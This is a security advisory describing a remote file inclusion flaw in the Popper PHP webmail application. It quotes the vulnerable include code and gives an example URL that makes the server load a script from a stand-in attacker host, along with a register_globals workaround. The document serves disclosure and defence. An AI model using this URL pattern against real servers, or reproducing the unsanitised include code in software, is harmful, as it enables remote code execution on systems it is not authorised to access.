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Popper Webmail Code Execution
------------------------------------------------------------------------
SUMMARY
"Popper is a webmail application written in PHP that allows users to read
and send their e-mail messages using a web browser."
Popper is vulnerable to remote code inclusion bug in its PHP script that
can be abused by malicious attackers to cause the PHP enviroment to
execute arbitrary code.
DETAILS
Vulnerable Systems:
* Popper webmail version 1.41-r2 and prior
Vulnerable code in childwindow.inc.php:
.
<?php
if(file_exists($form.".toolbar.inc.php")) {
include($form.".toolbar.inc.php");
}
?>
.
.
<?php include($form.".form.inc.php");?>
.
Vulnerability can be exploited only if register_globals in php.ini file is
set to 'on'. To exploit this vulnerability, attacker has to put script
like test.form.inc.php on www.evilsite.com HTTP server, and call URL
like:
http://www.vulnsite.com/popper/childwindow.inc.php?form=http://evilsite.com/test
Workaround:
Set register_globals to off.
ADDITIONAL INFORMATION
The information has been provided by <mailto:ljuranic@lss.hr> Leon
Juranic.
The original article can be found at:
<http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07>
http://security.lss.hr/index.php?page=details&ID=LSS-2005-06-07
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